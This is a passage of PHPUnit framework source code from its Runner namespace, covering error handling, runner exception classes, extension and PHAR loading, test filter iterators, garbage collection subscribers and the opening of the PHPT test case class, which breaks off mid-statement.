$linesToBeIgnored): void { $this->linesToBeIgnored = $linesToBeIgnored; } /** * @psalm-return array> */ public function linesToBeIgnored(): array { return $this->linesToBeIgnored; } private function activate(Filter $filter, bool $pathCoverage): void { try { if ($pathCoverage) { $this->driver = (new Selector)->forLineAndPathCoverage($filter); } else { $this->driver = (new Selector)->forLineCoverage($filter); } $this->codeCoverage = new \SebastianBergmann\CodeCoverage\CodeCoverage( $this->driver, $filter, ); } catch (CodeCoverageException $e) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( $e->getMessage(), ); } } private function codeCoverageGenerationStart(Printer $printer, string $format): void { $printer->print( sprintf( "\nGenerating code coverage report in %s format ... ", $format, ), ); $this->timer()->start(); } /** * @throws NoActiveTimerException */ private function codeCoverageGenerationSucceeded(Printer $printer): void { $printer->print( sprintf( "done [%s]\n", $this->timer()->stop()->asString(), ), ); } /** * @throws NoActiveTimerException */ private function codeCoverageGenerationFailed(Printer $printer, CodeCoverageException $e): void { $printer->print( sprintf( "failed [%s]\n%s\n", $this->timer()->stop()->asString(), $e->getMessage(), ), ); } private function timer(): Timer { if ($this->timer === null) { $this->timer = new Timer; } return $this->timer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use const E_COMPILE_ERROR; use const E_COMPILE_WARNING; use const E_CORE_ERROR; use const E_CORE_WARNING; use const E_DEPRECATED; use const E_ERROR; use const E_NOTICE; use const E_PARSE; use const E_RECOVERABLE_ERROR; use const E_USER_DEPRECATED; use const E_USER_ERROR; use const E_USER_NOTICE; use const E_USER_WARNING; use const E_WARNING; use function defined; use function error_reporting; use function restore_error_handler; use function set_error_handler; use PHPUnit\Event; use PHPUnit\Event\Code\NoTestCaseObjectOnCallStackException; use PHPUnit\Runner\Baseline\Baseline; use PHPUnit\Runner\Baseline\Issue; use PHPUnit\Util\ExcludeList; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ErrorHandler { private const UNHANDLEABLE_LEVELS = E_ERROR | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING; private const INSUPPRESSIBLE_LEVELS = E_ERROR | E_PARSE | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR | E_RECOVERABLE_ERROR; private static ?self $instance = null; private ?Baseline $baseline = null; private bool $enabled = false; private ?int $originalErrorReportingLevel = null; public static function instance(): self { return self::$instance ?? self::$instance = new self; } /** * @throws NoTestCaseObjectOnCallStackException */ public function __invoke(int $errorNumber, string $errorString, string $errorFile, int $errorLine): bool { $suppressed = (error_reporting() & ~self::INSUPPRESSIBLE_LEVELS) === 0; if ($suppressed && (new ExcludeList)->isExcluded($errorFile)) { return false; } /** * E_STRICT is deprecated since PHP 8.4. * * @see https://github.com/sebastianbergmann/phpunit/issues/5956 */ if (defined('E_STRICT') && $errorNumber === 2048) { $errorNumber = E_NOTICE; } $test = Event\Code\TestMethodBuilder::fromCallStack(); $ignoredByBaseline = $this->ignoredByBaseline($errorFile, $errorLine, $errorString); $ignoredByTest = $test->metadata()->isIgnoreDeprecations()->isNotEmpty(); switch ($errorNumber) { case E_NOTICE: Event\Facade::emitter()->testTriggeredPhpNotice( $test, $errorString, $errorFile, $errorLine, $suppressed, $ignoredByBaseline, ); break; case E_USER_NOTICE: Event\Facade::emitter()->testTriggeredNotice( $test, $errorString, $errorFile, $errorLine, $suppressed, $ignoredByBaseline, ); break; case E_WARNING: Event\Facade::emitter()->testTriggeredPhpWarning( $test, $errorString, $errorFile, $errorLine, $suppressed, $ignoredByBaseline, ); break; case E_USER_WARNING: Event\Facade::emitter()->testTriggeredWarning( $test, $errorString, $errorFile, $errorLine, $suppressed, $ignoredByBaseline, ); break; case E_DEPRECATED: Event\Facade::emitter()->testTriggeredPhpDeprecation( $test, $errorString, $errorFile, $errorLine, $suppressed, $ignoredByBaseline, $ignoredByTest, ); break; case E_USER_DEPRECATED: Event\Facade::emitter()->testTriggeredDeprecation( $test, $errorString, $errorFile, $errorLine, $suppressed, $ignoredByBaseline, $ignoredByTest, ); break; case E_USER_ERROR: Event\Facade::emitter()->testTriggeredError( $test, $errorString, $errorFile, $errorLine, $suppressed, ); throw new ErrorException('E_USER_ERROR was triggered'); default: return false; } return false; } public function enable(): void { if ($this->enabled) { return; } $oldErrorHandler = set_error_handler($this); if ($oldErrorHandler !== null) { restore_error_handler(); return; } $this->enabled = true; $this->originalErrorReportingLevel = error_reporting(); error_reporting($this->originalErrorReportingLevel & self::UNHANDLEABLE_LEVELS); } public function disable(): void { if (!$this->enabled) { return; } restore_error_handler(); error_reporting(error_reporting() | $this->originalErrorReportingLevel); $this->enabled = false; $this->originalErrorReportingLevel = null; } public function use(Baseline $baseline): void { $this->baseline = $baseline; } /** * @psalm-param non-empty-string $file * @psalm-param positive-int $line * @psalm-param non-empty-string $description */ private function ignoredByBaseline(string $file, int $line, string $description): bool { if ($this->baseline === null) { return false; } return $this->baseline->has(Issue::from($file, $line, null, $description)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ClassCannotBeFoundException extends RuntimeException implements Exception { public function __construct(string $className, string $file) { parent::__construct( sprintf( 'Class %s cannot be found in %s', $className, $file, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ClassDoesNotExtendTestCaseException extends RuntimeException implements Exception { public function __construct(string $className, string $file) { parent::__construct( sprintf( 'Class %s declared in %s does not extend PHPUnit\Framework\TestCase', $className, $file, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ClassIsAbstractException extends RuntimeException implements Exception { public function __construct(string $className, string $file) { parent::__construct( sprintf( 'Class %s declared in %s is abstract', $className, $file, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DirectoryDoesNotExistException extends RuntimeException implements Exception { public function __construct(string $directory) { parent::__construct( sprintf( 'Directory "%s" does not exist and could not be created', $directory, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use Error; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ErrorException extends Error implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Exception extends \PHPUnit\Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class FileDoesNotExistException extends RuntimeException implements Exception { public function __construct(string $file) { parent::__construct( sprintf( 'File "%s" does not exist', $file, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidOrderException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidPhptFileException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ParameterDoesNotExistException extends RuntimeException implements Exception { public function __construct(string $name) { parent::__construct( sprintf( 'Parameter "%s" does not exist', $name, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PhptExternalFileCannotBeLoadedException extends RuntimeException implements Exception { public function __construct(string $section, string $file) { parent::__construct( sprintf( 'Could not load --%s-- %s for PHPT file', $section . '_EXTERNAL', $file, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class UnsupportedPhptSectionException extends RuntimeException implements Exception { public function __construct(string $section) { parent::__construct( sprintf( 'PHPUnit does not support PHPT %s sections', $section, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Extension; use PHPUnit\TextUI\Configuration\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface Extension { public function bootstrap(Configuration $configuration, Facade $facade, ParameterCollection $parameters): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Extension; use const PHP_EOL; use function assert; use function class_exists; use function class_implements; use function in_array; use function sprintf; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\TextUI\Configuration\Configuration; use ReflectionClass; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExtensionBootstrapper { private readonly Configuration $configuration; private readonly Facade $facade; public function __construct(Configuration $configuration, Facade $facade) { $this->configuration = $configuration; $this->facade = $facade; } /** * @psalm-param class-string $className * @psalm-param array $parameters */ public function bootstrap(string $className, array $parameters): void { if (!class_exists($className)) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Cannot bootstrap extension because class %s does not exist', $className, ), ); return; } if (!in_array(Extension::class, class_implements($className), true)) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Cannot bootstrap extension because class %s does not implement interface %s', $className, Extension::class, ), ); return; } try { $instance = (new ReflectionClass($className))->newInstance(); assert($instance instanceof Extension); $instance->bootstrap( $this->configuration, $this->facade, ParameterCollection::fromArray($parameters), ); } catch (Throwable $t) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Bootstrapping of extension %s failed: %s%s%s', $className, $t->getMessage(), PHP_EOL, $t->getTraceAsString(), ), ); return; } EventFacade::emitter()->testRunnerBootstrappedExtension( $className, $parameters, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Extension; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\Event\Subscriber; use PHPUnit\Event\Tracer\Tracer; use PHPUnit\Event\UnknownSubscriberTypeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Facade { private bool $replacesOutput = false; private bool $replacesProgressOutput = false; private bool $replacesResultOutput = false; private bool $requiresCodeCoverageCollection = false; private bool $requiresExportOfObjects = false; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function registerSubscribers(Subscriber ...$subscribers): void { EventFacade::instance()->registerSubscribers(...$subscribers); } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function registerSubscriber(Subscriber $subscriber): void { EventFacade::instance()->registerSubscriber($subscriber); } /** * @throws EventFacadeIsSealedException */ public function registerTracer(Tracer $tracer): void { EventFacade::instance()->registerTracer($tracer); } public function replaceOutput(): void { $this->replacesOutput = true; } public function replacesOutput(): bool { return $this->replacesOutput; } public function replaceProgressOutput(): void { $this->replacesProgressOutput = true; } public function replacesProgressOutput(): bool { return $this->replacesOutput || $this->replacesProgressOutput; } public function replaceResultOutput(): void { $this->replacesResultOutput = true; } public function replacesResultOutput(): bool { return $this->replacesOutput || $this->replacesResultOutput; } public function requireCodeCoverageCollection(): void { $this->requiresCodeCoverageCollection = true; } public function requiresCodeCoverageCollection(): bool { return $this->requiresCodeCoverageCollection; } /** * @deprecated */ public function requireExportOfObjects(): void { $this->requiresExportOfObjects = true; } /** * @deprecated */ public function requiresExportOfObjects(): bool { return $this->requiresExportOfObjects; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Extension; use function array_key_exists; use PHPUnit\Runner\ParameterDoesNotExistException; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ParameterCollection { private readonly array $parameters; /** * @psalm-param array $parameters */ public static function fromArray(array $parameters): self { return new self($parameters); } private function __construct(array $parameters) { $this->parameters = $parameters; } public function has(string $name): bool { return array_key_exists($name, $this->parameters); } /** * @throws ParameterDoesNotExistException */ public function get(string $name): string { if (!$this->has($name)) { throw new ParameterDoesNotExistException($name); } return $this->parameters[$name]; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Extension; use function count; use function explode; use function extension_loaded; use function implode; use function is_file; use function sprintf; use function str_contains; use PharIo\Manifest\ApplicationName; use PharIo\Manifest\Exception as ManifestException; use PharIo\Manifest\ManifestLoader; use PharIo\Version\Version as PharIoVersion; use PHPUnit\Event; use PHPUnit\Runner\Version; use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PharLoader { /** * @psalm-param non-empty-string $directory * * @psalm-return list */ public function loadPharExtensionsInDirectory(string $directory): array { $pharExtensionLoaded = extension_loaded('phar'); $loadedExtensions = []; foreach ((new FileIteratorFacade)->getFilesAsArray($directory, '.phar') as $file) { if (!$pharExtensionLoaded) { Event\Facade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Cannot load extension from %s because the PHAR extension is not available', $file, ), ); continue; } if (!is_file('phar://' . $file . '/manifest.xml')) { Event\Facade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( '%s is not an extension for PHPUnit', $file, ), ); continue; } try { $applicationName = new ApplicationName('phpunit/phpunit'); $version = new PharIoVersion($this->phpunitVersion()); $manifest = ManifestLoader::fromFile('phar://' . $file . '/manifest.xml'); if (!$manifest->isExtensionFor($applicationName)) { Event\Facade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( '%s is not an extension for PHPUnit', $file, ), ); continue; } if (!$manifest->isExtensionFor($applicationName, $version)) { Event\Facade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( '%s is not compatible with PHPUnit %s', $file, Version::series(), ), ); continue; } } catch (ManifestException $e) { Event\Facade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Cannot load extension from %s: %s', $file, $e->getMessage(), ), ); continue; } try { /** @psalm-suppress UnresolvableInclude */ @require $file; } catch (Throwable $t) { Event\Facade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Cannot load extension from %s: %s', $file, $t->getMessage(), ), ); continue; } $loadedExtensions[] = $manifest->getName()->asString() . ' ' . $manifest->getVersion()->getVersionString(); Event\Facade::emitter()->testRunnerLoadedExtensionFromPhar( $file, $manifest->getName()->asString(), $manifest->getVersion()->getVersionString(), ); } return $loadedExtensions; } private function phpunitVersion(): string { $version = Version::id(); if (!str_contains($version, '-')) { return $version; } $parts = explode('.', explode('-', $version)[0]); if (count($parts) === 2) { $parts[] = 0; } return implode('.', $parts); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Filter; use function in_array; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExcludeGroupFilterIterator extends GroupFilterIterator { protected function doAccept(int $id): bool { return !in_array($id, $this->groupTests, true); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Filter; use function assert; use FilterIterator; use Iterator; use PHPUnit\Framework\TestSuite; use ReflectionClass; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Factory { /** * @psalm-var array */ private array $filters = []; /** * @psalm-param list $testIds */ public function addTestIdFilter(array $testIds): void { $this->filters[] = [ new ReflectionClass(TestIdFilterIterator::class), $testIds, ]; } /** * @psalm-param list $groups */ public function addExcludeGroupFilter(array $groups): void { $this->filters[] = [ new ReflectionClass(ExcludeGroupFilterIterator::class), $groups, ]; } /** * @psalm-param list $groups */ public function addIncludeGroupFilter(array $groups): void { $this->filters[] = [ new ReflectionClass(IncludeGroupFilterIterator::class), $groups, ]; } /** * @psalm-param non-empty-string $name */ public function addNameFilter(string $name): void { $this->filters[] = [ new ReflectionClass(NameFilterIterator::class), $name, ]; } public function factory(Iterator $iterator, TestSuite $suite): FilterIterator { foreach ($this->filters as $filter) { [$class, $arguments] = $filter; $iterator = $class->newInstance($iterator, $arguments, $suite); } assert($iterator instanceof FilterIterator); return $iterator; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Filter; use function array_map; use function array_push; use function in_array; use function spl_object_id; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestSuite; use RecursiveFilterIterator; use RecursiveIterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class GroupFilterIterator extends RecursiveFilterIterator { /** * @psalm-var list */ protected array $groupTests = []; /** * @psalm-param RecursiveIterator $iterator * @psalm-param list $groups */ public function __construct(RecursiveIterator $iterator, array $groups, TestSuite $suite) { parent::__construct($iterator); foreach ($suite->groupDetails() as $group => $tests) { if (in_array((string) $group, $groups, true)) { $testHashes = array_map( 'spl_object_id', $tests, ); array_push($this->groupTests, ...$testHashes); } } } public function accept(): bool { $test = $this->getInnerIterator()->current(); if ($test instanceof TestSuite) { return true; } return $this->doAccept(spl_object_id($test)); } abstract protected function doAccept(int $id): bool; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Filter; use function in_array; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class IncludeGroupFilterIterator extends GroupFilterIterator { protected function doAccept(int $id): bool { return in_array($id, $this->groupTests, true); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Filter; use function end; use function implode; use function preg_match; use function sprintf; use function str_replace; use function substr; use Exception; use PHPUnit\Framework\SelfDescribing; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestSuite; use RecursiveFilterIterator; use RecursiveIterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NameFilterIterator extends RecursiveFilterIterator { private ?string $filter = null; private ?int $filterMin = null; private ?int $filterMax = null; /** * @psalm-param RecursiveIterator $iterator * @psalm-param non-empty-string $filter * * @throws Exception */ public function __construct(RecursiveIterator $iterator, string $filter) { parent::__construct($iterator); $this->setFilter($filter); } public function accept(): bool { $test = $this->getInnerIterator()->current(); if ($test instanceof TestSuite) { return true; } $tmp = $this->describe($test); if ($tmp[0] !== '') { $name = implode('::', $tmp); } else { $name = $tmp[1]; } $accepted = @preg_match($this->filter, $name, $matches); if ($accepted && isset($this->filterMax)) { $set = end($matches); $accepted = $set >= $this->filterMin && $set <= $this->filterMax; } return (bool) $accepted; } /** * @throws Exception */ private function setFilter(string $filter): void { if (preg_match('/[a-zA-Z0-9]/', substr($filter, 0, 1)) === 1 || @preg_match($filter, '') === false) { // Handles: // * testAssertEqualsSucceeds#4 // * testAssertEqualsSucceeds#4-8 if (preg_match('/^(.*?)#(\d+)(?:-(\d+))?$/', $filter, $matches)) { if (isset($matches[3]) && $matches[2] < $matches[3]) { $filter = sprintf( '%s.*with data set #(\d+)$', $matches[1], ); $this->filterMin = (int) $matches[2]; $this->filterMax = (int) $matches[3]; } else { $filter = sprintf( '%s.*with data set #%s$', $matches[1], $matches[2], ); } } // Handles: // * testDetermineJsonError@JSON_ERROR_NONE // * testDetermineJsonError@JSON.* elseif (preg_match('/^(.*?)@(.+)$/', $filter, $matches)) { $filter = sprintf( '%s.*with data set "%s"$', $matches[1], $matches[2], ); } // Escape delimiters in regular expression. Do NOT use preg_quote, // to keep magic characters. $filter = sprintf( '/%s/i', str_replace( '/', '\\/', $filter, ), ); } $this->filter = $filter; } /** * @psalm-return array{0: string, 1: string} */ private function describe(Test $test): array { if ($test instanceof TestCase) { return [$test::class, $test->nameWithDataSet()]; } if ($test instanceof SelfDescribing) { return ['', $test->toString()]; } return ['', $test::class]; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Filter; use function in_array; use PHPUnit\Event\TestData\MoreThanOneDataSetFromDataProviderException; use PHPUnit\Event\TestData\NoDataSetFromDataProviderException; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\PhptTestCase; use RecursiveFilterIterator; use RecursiveIterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestIdFilterIterator extends RecursiveFilterIterator { /** * @psalm-var non-empty-list */ private readonly array $testIds; /** * @psalm-param RecursiveIterator $iterator * @psalm-param non-empty-list $testIds */ public function __construct(RecursiveIterator $iterator, array $testIds) { parent::__construct($iterator); $this->testIds = $testIds; } public function accept(): bool { $test = $this->getInnerIterator()->current(); if ($test instanceof TestSuite) { return true; } if (!$test instanceof TestCase && !$test instanceof PhptTestCase) { return false; } try { return in_array($test->valueObjectForEvents()->id(), $this->testIds, true); } catch (MoreThanOneDataSetFromDataProviderException|NoDataSetFromDataProviderException) { return false; } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\GarbageCollection; use function gc_collect_cycles; use function gc_disable; use function gc_enable; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade; use PHPUnit\Event\UnknownSubscriberTypeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class GarbageCollectionHandler { private readonly Facade $facade; private readonly int $threshold; private int $tests = 0; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function __construct(Facade $facade, int $threshold) { $this->facade = $facade; $this->threshold = $threshold; $this->registerSubscribers(); } public function executionStarted(): void { gc_disable(); $this->facade->emitter()->testRunnerDisabledGarbageCollection(); gc_collect_cycles(); $this->facade->emitter()->testRunnerTriggeredGarbageCollection(); } public function executionFinished(): void { gc_collect_cycles(); $this->facade->emitter()->testRunnerTriggeredGarbageCollection(); gc_enable(); $this->facade->emitter()->testRunnerEnabledGarbageCollection(); } public function testFinished(): void { $this->tests++; if ($this->tests === $this->threshold) { gc_collect_cycles(); $this->facade->emitter()->testRunnerTriggeredGarbageCollection(); $this->tests = 0; } } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private function registerSubscribers(): void { $this->facade->registerSubscribers( new ExecutionStartedSubscriber($this), new ExecutionFinishedSubscriber($this), new TestFinishedSubscriber($this), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\GarbageCollection; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\TestRunner\ExecutionFinished; use PHPUnit\Event\TestRunner\ExecutionFinishedSubscriber as TestRunnerExecutionFinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExecutionFinishedSubscriber extends Subscriber implements TestRunnerExecutionFinishedSubscriber { /** * @throws \PHPUnit\Framework\InvalidArgumentException * @throws InvalidArgumentException */ public function notify(ExecutionFinished $event): void { $this->handler()->executionFinished(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\GarbageCollection; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\TestRunner\ExecutionStarted; use PHPUnit\Event\TestRunner\ExecutionStartedSubscriber as TestRunnerExecutionStartedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExecutionStartedSubscriber extends Subscriber implements TestRunnerExecutionStartedSubscriber { /** * @throws \PHPUnit\Framework\InvalidArgumentException * @throws InvalidArgumentException */ public function notify(ExecutionStarted $event): void { $this->handler()->executionStarted(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\GarbageCollection; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class Subscriber { private readonly GarbageCollectionHandler $handler; public function __construct(GarbageCollectionHandler $handler) { $this->handler = $handler; } protected function handler(): GarbageCollectionHandler { return $this->handler; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\GarbageCollection; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\FinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFinishedSubscriber extends Subscriber implements FinishedSubscriber { /** * @throws \PHPUnit\Framework\InvalidArgumentException * @throws InvalidArgumentException */ public function notify(Finished $event): void { $this->handler()->testFinished(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use const DEBUG_BACKTRACE_IGNORE_ARGS; use const DIRECTORY_SEPARATOR; use function array_merge; use function basename; use function debug_backtrace; use function defined; use function dirname; use function explode; use function extension_loaded; use function file; use function file_get_contents; use function file_put_contents; use function is_array; use function is_file; use function is_readable; use function is_string; use function ltrim; use function preg_match; use function preg_replace; use function preg_split; use function realpath; use function rtrim; use function str_contains; use function str_replace; use function str_starts_with; use function strncasecmp; use function substr; use function trim; use function unlink; use function unserialize; use function var_export; use PHPUnit\Event\Code\Phpt; use PHPUnit\Event\Code\ThrowableBuilder; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\Event\NoPreviousThrowableException; use PHPUnit\Framework\Assert; use PHPUnit\Framework\AssertionFailedError; use PHPUnit\Framework\ExecutionOrderDependency; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\IncompleteTestError; use PHPUnit\Framework\PhptAssertionFailedError; use PHPUnit\Framework\Reorderable; use PHPUnit\Framework\SelfDescribing; use PHPUnit\Framework\Test; use PHPUnit\TextUI\Configuration\Registry as ConfigurationRegistry; use PHPUnit\Util\PHP\AbstractPhpProcess; use SebastianBergmann\CodeCoverage\Data\RawCodeCoverageData; use SebastianBergmann\CodeCoverage\InvalidArgumentException; use SebastianBergmann\CodeCoverage\ReflectionException; use SebastianBergmann\CodeCoverage\Test\TestSize\TestSize; use SebastianBergmann\CodeCoverage\Test\TestStatus\TestStatus; use SebastianBergmann\CodeCoverage\TestIdMissingException; use SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException; use SebastianBergmann\Template\Template; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PhptTestCase implements Reorderable, SelfDescribing, Test { /** * @psalm-var non-empty-string */ private readonly string $filename; private readonly AbstractPhpProcess $phpUtil; private string $output = ''; /** * Constructs a test case with the given filename. * * @psalm-param non-empty-string $filename * * @throws Exception */ public function __construct(string $filename, ?AbstractPhpProcess $phpUtil = null) { $this->filename = $filename; $this->phpUtil = $phpUtil ?: AbstractPhpProcess::factory(); } /** * Counts the number of test cases executed by run(TestResult result). */ public function count(): int { return 1; } /** * Runs a test and collects its result in a TestResult instance. * * @throws \PHPUnit\Framework\Exception * @throws \SebastianBergmann\Template\InvalidArgumentException * @throws Exception * @throws InvalidArgumentException * @throws NoPreviousThrowableException * @throws ReflectionException * @throws TestIdMissingException * @throws UnintentionallyCoveredCodeException * * @noinspection RepetitiveMethodCallsInspection */ public function run(): void { $emitter = EventFacade::emitter(); $emitter->testPreparationStarted( $this->valueObjectForEvents(), ); try { $sections = $this->parse(); } catch (Exception $e) { $emitter->testPrepared($this->valueObjectForEvents()); $emitter->testErrored($this->valueObjectForEvents(), ThrowableBuilder::from($e)); $emitter->testFinished($this->valueObjectForEvents(), 0); return; } $code = $this->render($sections['FILE']); $xfail = false; $settings = 